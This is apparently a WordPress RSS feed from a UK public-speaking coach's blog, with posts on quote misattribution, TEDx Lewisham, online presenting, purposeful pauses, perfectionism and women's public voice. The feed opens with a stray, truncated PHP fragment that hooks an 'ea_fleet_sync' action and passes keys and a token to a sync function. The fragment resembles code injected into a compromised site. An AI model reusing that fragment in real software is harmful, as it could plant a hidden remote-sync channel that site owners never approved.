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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Find your voice Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/find-your-voice/ Public speaking Sun, 10 Sep 2023 08:55:48 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Beware the quote https://www.nowyouretalking.co.uk/2023/09/10/beware-the-quote/ Sun, 10 Sep 2023 08:55:48 +0000 https://www.nowyouretalking.co.uk/?p=1566 Beware the quote. Our favourite social media platforms are awash with them. I can think of two big reasons to be careful with quotes: 1.  They can feel really repetitive and clichéd as the same thoughts appear over and over…

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]]> Beware the quote. Our favourite social media platforms are awash with them.

Quote from Dorothy Sayers about how quotes save you from having to have original thoughts

I can think of two big reasons to be careful with quotes:

1.  They can feel really repetitive and clichéd as the same thoughts appear over and over again.

2.  Quotes need checking. Misattribution is common.

For instance, Maya Angelou is often credited with this quote:

‘They may forget what you said, but they will never forget how you made them feel.’

It seems the actual author was Carl W Buehner. Beware the quote source.

Quote Investigator is a good online place to start checking quotes, especially those you find on the Internet rather than read yourself in an original book.

In my recent TEDxTalk, the early drafts ended with this quote:

‘Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it’s the only thing that ever has’ (Margaret Mead).

I eventually replaced Margaret Mead’s words with my own anchor phrase – ‘Loneliness shatters. Community matters’. It’s memorable and the audience joined me in the connection sweet spot by chorusing the last word of my talk with me.

If giving talks and presentations is an act of thought leadership and changing what people think, feel and do, then beware the quote.

Your original thoughts and words have greater sincerity and power to make a difference than trotting out other people’s quotes we’ve probably heard before.

Thanks to The Knowledge for the Dorothy Sayers quote.

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]]> First ever TEDx Lewisham – Oh what a night! https://www.nowyouretalking.co.uk/2022/03/24/first-ever-tedx-lewisham-oh-what-a-night/ Thu, 24 Mar 2022 15:56:12 +0000 https://www.nowyouretalking.co.uk/?p=1439 And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment. As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best…

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]]> And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment.

As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best version of every speech. It was magical.

The essentials of speeches that make a difference were evident.

Confidence

They were CONFIDENT speakers. They prepared thoroughly. They’d practised alone, in front of family and friends, in front of each other. Over and over. Not a trace of nerves; not a shaky voice to be heard, not even in their opening sentences.

And all seamlessly woven together by our loving and empowering host, ‘Ronke Kokoruwe. Confident speakers are, indeed, frequent speakers, and it showed.

Connection

The CONNECTION between speakers and audience was palpable:

🔴 It was a community event and every speaker lives in Lewisham

🔴 They spoke about real issues that affect us all, that we all care about

🔴 Speaker and audience interacted in that sweetspot where relevant meets relatable

🔴 We embodied diversity. Diverse ideas. Diverse speakers – gender, age, ethnicity, disabled people, work sector… Diverse audience, incl the 3-year-old there to support his mum 😊

🔴 And, sealing the connection, storytelling that was vulnerable, humorous, emotive, had you crying one moment and laughing the next, was warm and inviting, relevant and, above all, memorable

People will be retelling those stories for years and remembering how they made them think and feel.

Change

TED. #ideasworthspreading. As John F Kennedy said, “The only reason to give a speech is to CHANGE the world.”

Every speech was alive with a vision and a clear message to change hearts and minds, change how we now think, feel and act in our own lives.

Every speaker was seen, heard and made an impact.

All directed and curated by the energetic, empowering and caring Rachel Onikosi. She set the bar high and the team brought home the gold!

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]]> Have you got the online mindset? https://www.nowyouretalking.co.uk/2021/06/28/online-mindset/ Mon, 28 Jun 2021 11:11:40 +0000 https://www.nowyouretalking.co.uk/?p=1414 The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be…

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]]> The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be heard online.

Top pitfalls in online talks and presentations include insufficient energy, poor eye contact, lack of clear relevance, monotonous voice, poorly told or no stories, confusing message and structure, and hiding behind slides/PowerPoints.

But what is the online mindset and how do we get it and avoid these pitfalls?

1. You’re in close up and everyone has a front-row seat

Your camera and mic can see and hear everything, but is it what you want your audience in the front row to see and hear?

Before joining a meeting with camera/video on, check:

  • You’re well lit, so your audience can see your face and eyes as they are where we find trust and sincerity
  • You’ve got external and intrusive noise under control
  • You look the part for your close up
  • You’ve decluttered your surroundings, so there’s nothing to divert attention

2. Your audience is home alone

People in a virtual audience often feel left out or alone, even when there are hundreds of people in the same meeting. We need to help them feel involved. Your body language is a good place to start:

  • A warm and genuine smile communicates a relaxed and friendly you
  • Adopt a confident posture that says I’m comfortable and delighted to be here
  • Bring big energy, bigger than you would in the room, so that you can reach into your audience’s home. Dial up vocal interest and passion for your subject to help draw people towards you
  • Steady and direct eye contact builds trust, but it’s hard online because you have to talk to your camera lens, not the faces on your screen

And then draw them in further by creating opportunities to interact through the chat, reactions, breakouts, whiteboards, Q&A, etc. One-way communication only adds to the sense of being home alone.

3. Just because you can see your audience, it doesn’t mean they’re listening

Online audiences show up, physically, thinking ‘What’s In It For Me?’ If you don’t pique their curiosity, their minds will soon drift to their email, Instagram and who knows what else.

We need to be relevant and quickly give our audience a reason to listen. It’s no coincidence that most TV programmes nowadays start with a dramatic happening and when they’ve hooked us in, they roll the credits. Same with your talks and presentations. In most cases, you can save thank you and event protocols until after your opening remarks.

Online, we’re impatient. You’ve got just seconds to grab someone’s attention and demonstrate you have something relevant that they’ll value:

  • Know your audience so you can open with something that matters to them
  • Deliver a clear message that’s new and relevant, for right now
  • Make things easy for them. Less is more online, so strip back your content to the ‘must-have’ information to support your message, and use a clear and easy-to-follow structure

4. It’s just you and the person in the front row

Online, you lose the collective response of an audience being together in the same room as you. Now, it’s just you and your one-to-one connection with each individual member of your audience in their front-row seat.

To achieve connection, we need to be relatable, human to human. The best way we can achieve this is through the stories we tell. Ideally, they:

  • Are relevant to the subject of your talk
  • Draw on your own, real-life experiences
  • Have presence by being told in the here and now, with energy and enthusiasm
  • Are full of dialogue that engages all five senses, delivering energy and presence that narrative can’t achieve
  • Are appropriately edited to make sense and be memorable to an audience hearing them for the first time

And your newfound friend in the front row will help you read the room. Glance and gauge the energy and engagement of a few people and also factor in how you’re feeling, rather than trying to read the reactions of every individual on your screen.

Giving talks and presentations is your opportunity to persuade and inspire, to keep yourself and your organisation visible, and to pay it forward, building our collective knowledge by sharing ideas.

Recognising the online mindset and its impact on what you say and how you say it will make your talks stand out and impact your key target audiences.

First published as guest blog by Comms Rebel

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]]> Pause with purpose for meaning, clarity and impact https://www.nowyouretalking.co.uk/2019/04/04/pause-with-purpose/ Thu, 04 Apr 2019 15:29:07 +0000 https://www.nowyouretalking.co.uk/?p=867 Pause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.” I love…

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]]> Pause buttonPause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.”

I love a good pause and there are many to choose from, each with its own particular purpose and impact.

Opening pause

This is my favourite and brings a number of important benefits:

First, saying nothing is attention grabbing, it won’t be long before your audience realises no one is talking and will stop what they are doing or thinking about and focus on you. Second, and a related benefit, your silence will pique their curiosity and make them wonder what will happen next. Third, you have the silent time to calm yourself, take a few deep breaths and ready yourself to speak. Fourth, this opening time allows you to gauge the room and get a sense of how the audience is feeling and whether you need to make any adjustments to, for instance, energy levels, engagement, interaction, etc.

To maximise the impact of the opening pause, it needs to last at least five seconds and be delivered with confidence, including a solid and stable stance and good eye contact with your listeners/audience.

Filler-free pause

Er, um, like and other little sounds that can creep into our speech, especially when we are nervous. The odd one here and there gives a sense of spontaneity and a relaxed, conversational style. However, too many can be annoying and even distract an audience from listening to what you have to say.

Taking a small breath will help you reduce the ers and ums and come across with greater clarity and confidence.

Creative pause

If you invite the audience to imagine, reflect, picture or create an image or situation, give them time to do that. They will conjure up their version of what you are asking them to imagine/picture, etc. This is not only much more vivid than you describing in great detail a scene from your life, but it also enables people to join you in your story, using their frameworks and experiences.

Reflective pause

When you are presenting some difficult or unfamiliar ideas, give your audience time to absorb what you have said. In similar vein, if you ask them a question (even a rhetorical question) or ask them to think about something, such as a choice, give them time to consider and decide where they stand.

Punchline pause

Pauses are an essential part of creating humour in a speech. This is especially the case with humour built on misdirection. This involves telling a joke, story or anecdote in a way that misdirects your audience to anticipate the next line. While you pause they complete the joke as they expect it to end. You then deliver a different outcome, surprising the audience and (hopefully) making them laugh. Without the pause, the listener doesn’t have time to consider what they expect you to say and the humorous moment is lost.

Dramatic pause

This is especially powerful in storytelling. By pausing, you heighten the tension in your story and keep your listeners fully engaged as they long to hear the outcome.

And, critically, don’t forget to remain silent while your audience laughs. If you cut them off by speaking over the laughter, the chances are that they won’t laugh again and you will have severed a compelling connection.

Punctuation pause

When you write, you punctuate with commas, full stops, etc. This invisible punctuation needs to be audible when we speak otherwise we can sound as if our words are running away with us. Some short pauses add to the clarity and control of your narrative.

Emphatic pause

If you want to bring some additional weight or gravitas to a word, phrase or point, pause and then speak at a lower pitch and slower pace. The silence signals the start of something different and the change in pitch and pace indicates the nature of the differentiation.

Word-congruent pause

Very similar to an emphatic pause, congruency uses pauses to reinforce words. For instance, “Hesitatingly [breathe], he moved forward” or “Wracked with pain, she paused [breathe] …” before continuing to speak.

Show-me pause

A picture paints a thousand words. As the speaker, you can become the picture and use facial expression to show your audience exactly how you feel about something. A pause while you show them is generally far more evocative and memorable than using narrative to describe the feeling.

Visual aids pause

For most of us, vision is our primary sense. This means that if you put up slides or other visual aids, we are more likely to look or read than to listen. As such, if you speak at this time, your words will almost certainly fall on deaf ears. Keep silent while people absorb the visuals and then continue with what you have to say.

Pause for thought

This is a moment you take to think about what you want to say when you find yourself faced with impromptu questions, eg Q&A, panels, job interviews, untabled questions in a meeting, etc. By pausing, you buy yourself some time to think about what you want to say and how you want to say it.

Petrified pause

So many ways to pause with purpose, but there is one that you don’t want in your speeches or presentations and that’s the petrified pause. Sometimes, when we’re really nervous, we can find our brain freezing and we simply can’t think what to say. Anxiously pausing and searching for words conveys a lack of confidence and perhaps a lack of preparation as well. In this situation, it is important to do some work on managing your nerves so that they generate positive energy for your talk.

Fortunately, pausing with purpose is generally powerful and positively impacts your speeches and presentations. The challenge is to deliver these pauses.

Practise pausing

When we are nervous, we tend to speak too quickly and pauses simply don’t happen. We need to get comfortable with using them. What feels like eternity from your standpoint in front of an audience, feels like no time at all to everyone else in the room.

When you are preparing and practising a speech or presentation, try to insert pauses and the appropriate length for each one. When you pause, count the number of seconds you have allowed. Record yourself and play back to see how long those silences really sound. Could some of them be longer to achieve their purpose? With practise, you will come to enjoy the impact of pausing with purpose.

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]]> Perfectionism – the curse of speakers https://www.nowyouretalking.co.uk/2019/03/18/perfectionism-the-curse-of-speakers/ Mon, 18 Mar 2019 11:49:56 +0000 https://www.nowyouretalking.co.uk/?p=849 Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise. What kind of perfectionism plagues you? What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and…

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]]> Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise.

What kind of perfectionism plagues you?

What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and demand, excessively high standards of yourself and others? Or failure-avoiding perfectionism that drives fear of losing people’s respect if you achieve anything less than perfection?

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

According to Prof Steve Peters’ The Silent Guides, the Human (rational thinking part of the brain) sees perfectionism as ‘doing the best I can’. The Human aims for perfection, but accepts that we don’t often get perfection and can be proud of having tried our best.

In contrast, the Chimp (part of the brain that makes snap judgments based on emotions and gut instinct) demands that we achieve perfection and drives the sense of failure if we deliver anything less.

Connection not perfection

As speakers and presenters, perfectionism gets in the way. Seeking excellence can leave us fixating on, for instance, getting our words right or memorising our speech, while missing the opportunity to connect with our audience.

Failure avoidance can find us paralysed with fear of making a mistake. Again, at the cost of connection.

Any speaker ‘shortcomings’ should always take a back seat to connecting with, and moving, our audience so that we impact how they think, feel and act after experiencing our speech.

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

To allow the possibility of connection overriding perfection, we need both our Chimp and our Human. Together, they can work to motivate us to do our best (Chimp) and subsequently accept that trying our best is good enough (Human).

 

 

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]]> Speak and claim your voice https://www.nowyouretalking.co.uk/2019/03/08/speak-and-claim-your-voice/ https://www.nowyouretalking.co.uk/2019/03/08/speak-and-claim-your-voice/#view_comments Fri, 08 Mar 2019 17:06:25 +0000 https://www.nowyouretalking.co.uk/?p=837 Women are half the world’s population, but they are not half the world’s public voice. For myriad complex reasons from being too busy with other responsibilities to oppressing perfectionism, women are not taking up opportunities to speak in public, they…

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]]> Women are half the world’s population, but they are not half the world’s public voice. For myriad complex reasons from being too busy with other responsibilities to oppressing perfectionism, women are not taking up opportunities to speak in public, they are not presenting themselves as published experts and they are hiding their light under a bushel.

History tells us that women don’t have the right to speak in public. Sounds wrong, doesn’t it, especially in this day and age? But, historically, women have been systematically denied permission to speak in public and it has taken its toll.

Our right to speak in public is a product of history – public speaking is a man’s job. And it is also a product of socialisation – we raise girls to be perfect, while raising boys to be brave (Reshma Saujani, TED 2016). This lopsided situation makes no sense. It’s bad for the business bottom line, bad for equality and balance, bad for the advancement of society. It is bad on so many levels and we can all help to change this for the better.

Women have no right to speak in public

Speak - Penelope at the loom

Penelope being domestic, working at her loom

Mary Beard, in her book entitled Women & Power: A Manifesto takes us all the way back to Ancient Greece for example after example of women being told they have no right to speak publicly about anything of importance. Their jurisdiction is the things within their purview, ie the home. Beard starts with Homer’s Odyssey almost 3,000 years ago when Odysseus’ son Telemachus told his mother, Penelope, that speaking in the public forum is his responsibility and that she should return to her quarters to concentrate on her own domestic work, the loom and the distaff: “ … speech will be the business of men, all men, and of me most of all; for mine is the power in this household.”

Roll forward to 1928 and the Daily Express said that radio listeners felt women’s voices were monotonous. In 1945, the Sunday Dispatch observed that women were too emotive in their delivery. Too monotonous. Too emotive. You can’t win!

Apparently, we did not fully trust women to read the news in the UK until Angela Rippon became a ‘permanent’ newsreader in 1975.

30 years ago (8 September 1988), Punch published a cartoon by Riana Duncan that summed up this refusal to let women be heard. The cartoon depicts five men and one woman sitting in an office meeting. Miss Triggs makes a suggestion. The chairman replies:

“That’s an excellent suggestion Miss Triggs.
Perhaps one of the men here would like to make it.”

This repeated denial of the right to speak may well exacerbate the unequal presence of women in senior positions. A Cranfield School of Management report (2017) shows that women hold fewer than three in ten (28%) of directors’ seats in the boardrooms of FTSE 100 companies.

No right to speak becomes reluctance to speak

I used to be the person clinging to the podium so you couldn’t see my hands shaking, knees locked to stay upright, and my breath so shallow that I sounded as if I was about to burst into tears. When I heard male colleagues saying things like “I don’t know why you’re so frightened, I love speaking!” I felt even more like an impostor, drowning in self-doubt. Then one day, in a leadership team meeting, a colleague called Michael invited me to share some examples of how I had successfully developed a new business area. He gave me a broad, encouraging smile and I started to speak. My reward? An interested audience wanting to know more and a round of applause for my initiatives. Michael gave me the right to speak and what I had to say was of value to my audience.

Repetition is creating self-doubt

Fear of speaking

One clear result of centuries of telling women they have no right to speak in public is a learnt self-doubt about the right to be taken seriously, constantly seeking approval and acceptance. I so often hear women saying things like:

  • What right do I have to be here, taking up people’s time and space?
  • Who am I to be speaking alongside all these important people?
  • I feel really uncomfortable doing personal PR and self-promotion
  • This is doomed to fail. What if they don’t like my message?

This self-doubt manifests as fear of public speaking or that fabulous Greek word, glossophobia. A recent YouGov poll shows public speaking as the biggest fear in Britain (alongside fear of heights), for two in three adults (67%). It affects us all, but women are twice as likely as men to say they are ‘very afraid’. Young people are also more likely than their older counterparts to be afraid of public speaking, even speaking on the phone. It has serious symptoms, from pounding heart and dry mouth to brain freeze and the inability to think on your feet. And the worst symptom of all? As many as two in five adults would pass on their dream job if it meant facing their biggest fear. Is fear of speaking in public holding you back when the ability to do so is so very fixable.

Men are socialised to be brave. Women are socialised to be perfect. Look out for differences in the way (inexperienced) male and female colleagues speak. I remember attending graduate training presentations. When it was the turn of the men to present, they came across as confident and compelling in their delivery, making them more convincing and memorable. In contrast, the women generally shared clearer and more considered information, but you could feel their fear – see their hands shaking, hear their voices trembling.

Elsewhere, I have set out ways to befriend your nerves and make them work for you so that when you stand up to speak you feel assured, confident and empowered.

Speaking in public is more than ever before an essential life skill

There are so many reasons for all of us to develop some proficiency as public speakers: 

  • Getting a job and subsequent career progression. It’s not just about successfully handling the interview stage, but also the ability to speak in public usually appears high up employers’ wish lists
  • The importance of standing out from all the information that bombards us on social media
  • Showcasing your knowledge and expertise
  • Increasing your self-confidence
  • Developing and improving communication and leadership skills
  • Empowering you to effect change. In the words of John F Kennedy, “The only reason to give a speech is to change the world”. While most of us might not reach such lofty heights, we do speak to persuade, to change hearts and minds
  • And, of course, the almost inescapable major celebration where you need to say a few words – big birthday, wedding, anniversary, etc.

And for women, there is a further reason. Women have points of view that are different and merit being heard. Every time someone speaks, they take an opportunity to change how people think, feel and act. Why would we want to exclude half the world from that opportunity?

#BalanceforBetter and reclaim the right to speak – a job for us all

Ththere's no stopping me now Speak with confidence

Women in particular often tell me they get really nervous simply introducing themselves, be it in a meeting or in networking situations. The result is that they miss out. They might avoid networking opportunities. They might miss what others are saying as they worry about what they’re going to say or that other people might question their authority to speak. But it’s not just women who miss out. By taking the ‘silent’ option, we all miss out on their thoughts and ideas.

It is not a question of capability, but rather the need for support and reassurance. Public speaking is not a skill we are born with; it is a skill we learn. Women can and should support each other, but men are also vital in encouraging people to speak up. #BalanceforBetter couldn’t be more real.

In the home and the classroom

Schools are starting to offer public speaking training, but it’s far from being all schools and far from reaching all children. Public speaking is a life skill that is good for the individual and good for business. It needs to be on the National Curriculum, so that everyone leaves school with the ability to speak in public.

In addition to learning public speaking, we need to address other social issues that are holding women back in this space. For instance, socialising girls for perfection is teaching half the population to attain perfection before going public; time gobbled up by their primary responsibility as carers. Instead, we need to be showing girls that they have something of value we want to hear and showing them how to find their voice.

In the office

Leaders/managers need to think about colleagues speaking in public and make it part of their ongoing development, perhaps by building it into Performance Development. If, for instance, you have a team member who is reluctant to speak up in meetings, give them a specific speaking task in the next meeting. If you have another colleague who tends to talk too much, invite them to take on a supportive role and only speak to reinforce the views of the colleague who is learning to speak up.

At conferences and public events

We need to address the underrepresentation of women as conference speakers. Although some sectors/organisers set gender quotas for speakers, most don’t. We need to reframe speaking in public as a privilege and an opportunity – to share something we are passionate about, to increase our network, to meet new people, etc. For women, this may mean accepting invitations and seeking out opportunities to speak. For men, consider giving or sharing your invitation with a female colleague.

Don’t be afraid to ask for help. TED talks, for instance, always provide their speakers with coaching support – it’s good for the speakers and ensures their speeches are what’s needed for the event. So, if you need support, then ask for help from the organisers or find your own coach/mentor; look for opportunities to practise in front of colleagues and friends, or at a speaking club, etc.

Eradicate the urge to apologise and find more positive expressions. For instance, “Sorry, I don’t have the experience of other speakers here today” becomes “I am here to share with you the views of the younger generations”. People invite you to speak because they believe you have something important to say that is of value. If a conference organiser neglects to make it clear why they want you to speak at their event, ask them. Remember this reason and remind yourself every time any doubt creeps in.

We all need to support and reinforce each other when we speak. We all have that primeval hardwiring to be afraid (fight/flight/freeze) and to seek acceptance and approval from the group, our audience. When someone, especially a woman, speaks up in a meeting, and assuming you agree, of course, voice your support and agreement.

Pass me the microphone, please!

Speech opening - winning beginnings

Everyone has the right to speak and women, in particular, need to speak up and exercise that right. Take those opportunities to speak … in a meeting, in support of a colleague, at an event. You’ll love how good it feels when you hear the applause of an appreciative audience. Women are half the world’s population, so their opinions are important. Find your voice and personify #BalanceforBetter

Now You’re Talking!

 

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